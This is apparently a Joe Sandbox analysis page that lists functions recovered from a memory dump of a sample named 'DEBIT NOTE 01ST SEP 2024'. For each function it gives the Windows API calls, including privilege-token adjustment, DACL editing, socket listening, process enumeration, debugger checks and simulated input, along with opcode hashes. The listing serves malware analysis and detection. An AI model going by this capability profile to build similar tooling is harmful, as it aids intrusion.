                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ProcessSystemToken$AdjustCurrentErrorExitInitiateLastLookupOpenPowerPrivilegePrivilegesShutdownStateValueWindows
                                          • String ID: SeShutdownPrivilege
                                          • API String ID: 2938487562-3733053543
                                          • Opcode ID: e998af62085c6697935ed50d35c6a1543144275e53dff9101095b3913992069c
                                          • Instruction ID: ad32a9094aef850e2966724807b7d50af50c82f056daff98c21d8f44207777ad
                                          • Opcode Fuzzy Hash: e998af62085c6697935ed50d35c6a1543144275e53dff9101095b3913992069c
                                          • Instruction Fuzzy Hash: F221C971640205ABF7108FA4EC4EF7FB3ACE708702F144569FE09D51D1D6BA5D408765
                                          Function 00446124 Relevance: 16.7, APIs: 11, Instructions: 182COMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00436E2B: GetUserObjectSecurity.USER32(?,?,?,00000000,?), ref: 00436E45
                                            • Part of subcall function 00436E2B: GetLastError.KERNEL32(?,00000000,?), ref: 00436E4F
                                            • Part of subcall function 00436E2B: GetUserObjectSecurity.USER32(?,?,00000000,?,?), ref: 00436E75
                                            • Part of subcall function 00436DF7: InitializeSecurityDescriptor.ADVAPI32(00000000,00000001), ref: 00436E12
                                          • GetSecurityDescriptorDacl.ADVAPI32(?,?,?,?), ref: 0044618A
                                          • GetAclInformation.ADVAPI32(?,?,0000000C,00000002), ref: 004461BE
                                          • GetLengthSid.ADVAPI32(?), ref: 004461D0
                                          • GetAce.ADVAPI32(?,00000000,?), ref: 0044620D
                                          • AddAce.ADVAPI32(?,00000002,000000FF,?,?), ref: 00446229
                                          • GetLengthSid.ADVAPI32(?), ref: 00446241
                                          • GetLengthSid.ADVAPI32(?,00000008,?), ref: 0044626A
                                          • CopySid.ADVAPI32(00000000), ref: 00446271
                                          • AddAce.ADVAPI32(?,00000002,000000FF,00000000,?), ref: 004462A3
                                          • SetSecurityDescriptorDacl.ADVAPI32(?,00000001,?,00000000), ref: 004462C5
                                          • SetUserObjectSecurity.USER32(?,00000004,?), ref: 004462D8
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Security$DescriptorLengthObjectUser$Dacl$CopyErrorInformationInitializeLast
                                          • String ID:
                                          • API String ID: 1255039815-0
                                          • Opcode ID: cf498e736c0040d611dc61921388a4e783ba54ad69564fff20abd6321b712b19
                                          • Instruction ID: cbecfdc94e872455e881353a2ef69e95113e06a92746e25f2a634f38edc45108
                                          • Opcode Fuzzy Hash: cf498e736c0040d611dc61921388a4e783ba54ad69564fff20abd6321b712b19
                                          • Instruction Fuzzy Hash: C251BC71A00209BBEB10EFA1CD84EEFB778BF49704F01855EF515A7241D6B8DA05CB69
                                          Function 0043305F Relevance: 16.6, APIs: 11, Instructions: 122COMMON
                                          Download Yara Rule
                                          APIs
                                          • __swprintf.LIBCMT ref: 00433073
                                          • __swprintf.LIBCMT ref: 00433085
                                          • __wcsicoll.LIBCMT ref: 00433092
                                          • FindResourceW.KERNEL32(?,?,0000000E), ref: 004330A5
                                          • LoadResource.KERNEL32(?,00000000), ref: 004330BD
                                          • LockResource.KERNEL32(00000000), ref: 004330CA
                                          • FindResourceW.KERNEL32(?,?,00000003), ref: 004330F7
                                          • LoadResource.KERNEL32(?,00000000), ref: 00433105
                                          • SizeofResource.KERNEL32(?,00000000), ref: 00433114
                                          • LockResource.KERNEL32(?), ref: 00433120
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Resource$FindLoadLock__swprintf$Sizeof__wcsicoll
                                          • String ID:
                                          • API String ID: 1158019794-0
                                          • Opcode ID: b140e135c5f727b40d296f2f4b3108eaeb1a217ee9fa6a28346dce69b8385e70
                                          • Instruction ID: 48d2d5a3af9b637b7fc6f2c6b5a7fdd3517197a5f8dc2ef3994740021b7ed835
                                          • Opcode Fuzzy Hash: b140e135c5f727b40d296f2f4b3108eaeb1a217ee9fa6a28346dce69b8385e70
                                          • Instruction Fuzzy Hash: C741F1322002146BDB10EF65EC84FAB37ADEB89321F00846BFD01C6245E779DA51C7A8
                                          Function 0045A10F Relevance: 16.6, APIs: 11, Instructions: 120clipboardmemoryCOMMON
                                          Download Yara Rule
                                          APIs
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Clipboard$AllocCloseEmptyGlobalOpen
                                          • String ID:
                                          • API String ID: 1737998785-0
                                          • Opcode ID: bc1c5a0e04e7211697dd638385d424d337038878635646daacac479226a8eb74
                                          • Instruction ID: d84b136cee2c902db59abfe4f82a3f409d39725fe24efd6a62fd8a04edebb5dd
                                          • Opcode Fuzzy Hash: bc1c5a0e04e7211697dd638385d424d337038878635646daacac479226a8eb74
                                          • Instruction Fuzzy Hash: 334114726001119FC310EFA5EC89B5EB7A4FF54315F00856EF909EB3A1EB75A941CB88
                                          Function 0045D619 Relevance: 15.9, APIs: 4, Strings: 5, Instructions: 107COMMON
                                          Download Yara Rule
                                          APIs
                                          • SetErrorMode.KERNEL32(00000001), ref: 0045D627
                                          • GetDiskFreeSpaceW.KERNEL32(?,?,?,?,?,?), ref: 0045D6B5
                                          • GetLastError.KERNEL32 ref: 0045D6BF
                                          • SetErrorMode.KERNEL32(00000000,?), ref: 0045D751
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Error$Mode$DiskFreeLastSpace
                                          • String ID: INVALID$NOTREADY$READONLY$READY$UNKNOWN
                                          • API String ID: 4194297153-14809454
                                          • Opcode ID: 7585e308607772b0055f7746bf91c511cc03d2319b95ee688ecb5d1da683c46d
                                          • Instruction ID: 1f300c266cb1daf6abeae651b696e439ee3a0372042695327ab67fb83666ce96
                                          • Opcode Fuzzy Hash: 7585e308607772b0055f7746bf91c511cc03d2319b95ee688ecb5d1da683c46d
                                          • Instruction Fuzzy Hash: FE418235D00209DFCB10EFA5C884A9DB7B4FF48315F10846BE905AB352D7799A85CB69
                                          Function 0044EB59 Relevance: 12.9, APIs: 3, Strings: 4, Instructions: 645COMMON
                                          Download Yara Rule
                                          APIs
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: _memmove$_strncmp
                                          • String ID: @oH$\$^$h
                                          • API String ID: 2175499884-3701065813
                                          • Opcode ID: f002cf83b61508de9c211a0f0d172e3a132fb63b457bb46fdb7389c8079d7204
                                          • Instruction ID: d0725f23cfd3ca281eac06f76a82abe5967bc3f30214560d9089fed7748fa16d
                                          • Opcode Fuzzy Hash: f002cf83b61508de9c211a0f0d172e3a132fb63b457bb46fdb7389c8079d7204
                                          • Instruction Fuzzy Hash: C642E270E04249CFEB14CF69C8806AEBBF2FF85304F2481AAD855AB351D7399946CF55
                                          Function 004652BE Relevance: 12.1, APIs: 8, Instructions: 97networkCOMMON
                                          Download Yara Rule
                                          APIs
                                          • socket.WSOCK32(00000002,00000001,00000006,00000000), ref: 0046530D
                                          • WSAGetLastError.WSOCK32(00000000), ref: 0046531C
                                          • bind.WSOCK32(00000000,?,00000010), ref: 00465356
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00465363
                                          • closesocket.WSOCK32(00000000,00000000), ref: 00465377
                                          • listen.WSOCK32(00000000,00000005), ref: 00465381
                                          • WSAGetLastError.WSOCK32(00000000), ref: 004653A9
                                          • closesocket.WSOCK32(00000000,00000000), ref: 004653BD
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLast$closesocket$bindlistensocket
                                          • String ID:
                                          • API String ID: 540024437-0
                                          • Opcode ID: 56b395d1b7441155ee1d78469f99a9871a9e2360f64803e3ab449944eb02724f
                                          • Instruction ID: 689f190a2b8ca197395c4559ba4ec64c13dad074e2778b61c05f6be918bdb8b0
                                          • Opcode Fuzzy Hash: 56b395d1b7441155ee1d78469f99a9871a9e2360f64803e3ab449944eb02724f
                                          • Instruction Fuzzy Hash: A8319331200500ABD310EF25DD89B6EB7A8EF44725F10866EF855E73D1DBB4AC818B99
                                          Function 0044663B Relevance: 11.4, APIs: 1, Strings: 5, Instructions: 895COMMON
                                          Download Yara Rule
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID:
                                          • String ID: ERCP$VUUU$VUUU$VUUU$XjH
                                          • API String ID: 0-2872873767
                                          • Opcode ID: 34fecdbc504fccc055e136d4951117c2a740426f4eee1b738e863fbded63ce7f
                                          • Instruction ID: d175e7d0ae6fb3d700f9da8fb6b70819649eb02c4ceaf458d011f7582104736e
                                          • Opcode Fuzzy Hash: 34fecdbc504fccc055e136d4951117c2a740426f4eee1b738e863fbded63ce7f
                                          • Instruction Fuzzy Hash: D772D871A042198BEF24CF58C8807AEB7F1EB42314F25829BD859A7380D7799DC5CF5A
                                          Function 004755C4 Relevance: 10.6, APIs: 7, Instructions: 148processCOMMON
                                          Download Yara Rule
                                          APIs
                                          • CreateToolhelp32Snapshot.KERNEL32 ref: 00475608
                                          • Process32FirstW.KERNEL32(00000000,0000022C), ref: 00475618
                                          • __wsplitpath.LIBCMT ref: 00475644
                                            • Part of subcall function 00413A0E: __wsplitpath_helper.LIBCMT ref: 00413A50
                                          • _wcscat.LIBCMT ref: 00475657
                                          • __wcsicoll.LIBCMT ref: 0047567B
                                          • Process32NextW.KERNEL32(00000000,?), ref: 004756AB
                                          • CloseHandle.KERNEL32(00000000), ref: 004756BA
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32__wcsicoll__wsplitpath__wsplitpath_helper_wcscat
                                          • String ID:
                                          • API String ID: 2547909840-0
                                          • Opcode ID: 9e44ac92eedd99fdf3f2932738b6949334d3f24a3592eb41664da5fdf167909f
                                          • Instruction ID: 52239f647ae7113ca4c6e3167181772f82882466072c53a1302db900a9aecbbd
                                          • Opcode Fuzzy Hash: 9e44ac92eedd99fdf3f2932738b6949334d3f24a3592eb41664da5fdf167909f
                                          • Instruction Fuzzy Hash: B3518671900618ABDB10DF55CD85FDE77B8EF44704F1084AAF509AB282DA75AF84CF68
                                          Function 00452492 Relevance: 10.6, APIs: 4, Strings: 2, Instructions: 128filesleepCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00401B10: _wcslen.LIBCMT ref: 00401B11
                                            • Part of subcall function 00401B10: _memmove.LIBCMT ref: 00401B57
                                          • FindFirstFileW.KERNEL32(?,?), ref: 004524DF
                                          • Sleep.KERNEL32(0000000A), ref: 0045250B
                                          • FindNextFileW.KERNEL32(?,?), ref: 004525E9
                                          • FindClose.KERNEL32(?), ref: 004525FF
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: Find$File$CloseFirstNextSleep_memmove_wcslen
                                          • String ID: *.*$\VH
                                          • API String ID: 2786137511-2657498754
                                          • Opcode ID: 952b61541a12346a9a2631e93aef0720ba9757898c7ad2f9180af277910d7a38
                                          • Instruction ID: de376bcde865418ddd8e10142a6165d1fec8b8ecf5afc9fd422e88b207ce0255
                                          • Opcode Fuzzy Hash: 952b61541a12346a9a2631e93aef0720ba9757898c7ad2f9180af277910d7a38
                                          • Instruction Fuzzy Hash: 37417F7190021DABDB14DF64CD58AEE77B4AF49305F14445BEC09A3281E678EE49CB98
                                          Function 0041A208 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 58COMMONLIBRARYCODE
                                          Download Yara Rule
                                          APIs
                                          • IsDebuggerPresent.KERNEL32 ref: 00421FC1
                                          • SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00421FD6
                                          • UnhandledExceptionFilter.KERNEL32(pqI), ref: 00421FE1
                                          • GetCurrentProcess.KERNEL32(C0000409), ref: 00421FFD
                                          • TerminateProcess.KERNEL32(00000000), ref: 00422004
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
                                          • String ID: pqI
                                          • API String ID: 2579439406-2459173057
                                          • Opcode ID: 25dc777f16e4295b66819c01749bb17431433dcbcd396824bac5e12fb106518c
                                          • Instruction ID: 2caf929301e55fbdfba35cdc3931bb3174c20cf3198a7c5bb5494214f042e870
                                          • Opcode Fuzzy Hash: 25dc777f16e4295b66819c01749bb17431433dcbcd396824bac5e12fb106518c
                                          • Instruction Fuzzy Hash: 9E21CDB45392059FCB50DF65FE456483BA4BB68304F5005BBF90987371E7B969818F0D
                                          Function 0043333C Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 40COMMON
                                          Download Yara Rule
                                          APIs
                                          • __wcsicoll.LIBCMT ref: 00433349
                                          • mouse_event.USER32(00000800,00000000,00000000,00000078,00000000), ref: 0043335F
                                          • __wcsicoll.LIBCMT ref: 00433375
                                          • mouse_event.USER32(00000800,00000000,00000000,00000088,00000000), ref: 0043338B
                                          Strings
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: __wcsicollmouse_event
                                          • String ID: DOWN
                                          • API String ID: 1033544147-711622031
                                          • Opcode ID: 3af7a305a716ba131119f47d61043d9bc75f7fbd5de0530911e4e2de0579c383
                                          • Instruction ID: c5effa3e7e2998e6ee15a8e10ce6e2e5d36a5fc043d4170c53cc9f091e4fe068
                                          • Opcode Fuzzy Hash: 3af7a305a716ba131119f47d61043d9bc75f7fbd5de0530911e4e2de0579c383
                                          • Instruction Fuzzy Hash: 78F0A0726846103AF80026947C02EFB334C9B26767F004023FE0CD1280EA59290557BD
                                          Function 0044C37A Relevance: 7.6, APIs: 5, Instructions: 145windowkeyboardCOMMON
                                          Download Yara Rule
                                          APIs
                                          • GetKeyboardState.USER32(?), ref: 0044C3D2
                                          • SetKeyboardState.USER32(00000080), ref: 0044C3F6
                                          • PostMessageW.USER32(00000000,00000101,?,?), ref: 0044C43A
                                          • PostMessageW.USER32(00000000,00000105,?,?), ref: 0044C472
                                          • SendInput.USER32(00000001,?,0000001C), ref: 0044C4FF
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: KeyboardMessagePostState$InputSend
                                          • String ID:
                                          • API String ID: 3031425849-0
                                          • Opcode ID: 0ab52cc7f1a00f618f34bf6b1006ae93bda3478e58ada741bb1ac89fd44d8d1c
                                          • Instruction ID: ca9f4cb769efad0e1be190fe8763212e5a79bd7c4ee8908ff6f5a5d8a4a0dc9b
                                          • Opcode Fuzzy Hash: 0ab52cc7f1a00f618f34bf6b1006ae93bda3478e58ada741bb1ac89fd44d8d1c
                                          • Instruction Fuzzy Hash: 4D415D755001082AEB109FA9DCD5BFFBB68AF96320F04815BFD8456283C378D9518BF8
                                          Function 00476619 Relevance: 7.6, APIs: 5, Instructions: 140networkCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 00465225: inet_addr.WSOCK32(?), ref: 00465249
                                          • socket.WSOCK32(00000002,00000002,00000011,?,00000000), ref: 0047666F
                                          • WSAGetLastError.WSOCK32(00000000), ref: 00476692
                                          Memory Dump Source
                                          • Source File: 00000000.00000002.1674478999.0000000000401000.00000020.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true
                                          • Associated: 00000000.00000002.1674223152.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674599044.0000000000482000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674702928.0000000000490000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674755884.0000000000491000.00000008.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.0000000000492000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674801883.00000000004A7000.00000004.00000001.01000000.00000003.sdmpDownload File
                                          • Associated: 00000000.00000002.1674839658.00000000004AB000.00000002.00000001.01000000.00000003.sdmpDownload File
                                          Joe Sandbox IDA Plugin
                                          • Snapshot File: hcaresult_0_2_400000_DEBIT NOTE 01ST SEP 2024.jbxd
                                          Similarity
                                          • API ID: ErrorLastinet_addrsocket
                                          • String ID:
                                          • API String ID: 4170576061-0
                                          • Opcode ID: beba4ad3326242fe02a37a331f69581919bdb462f679bf8c0e3d41d719e28549
                                          • Instruction ID: b6cffcacb6afaf0b8cd9bee7f3c7ce362d61c656181a10c6507bcc72ef542d5a
                                          • Opcode Fuzzy Hash: beba4ad3326242fe02a37a331f69581919bdb462f679bf8c0e3d41d719e28549
                                          • Instruction Fuzzy Hash: 604129326002005BD710EF39DC86F5A73D59F44728F15866FF944AB3C2DABAEC418799
                                          Function 0047A330 Relevance: 7.6, APIs: 5, Instructions: 71windowCOMMON
                                          Download Yara Rule
                                          APIs
                                            • Part of subcall function 0046F3C1: IsWindow.USER32(00000000), ref: 0046F3F1
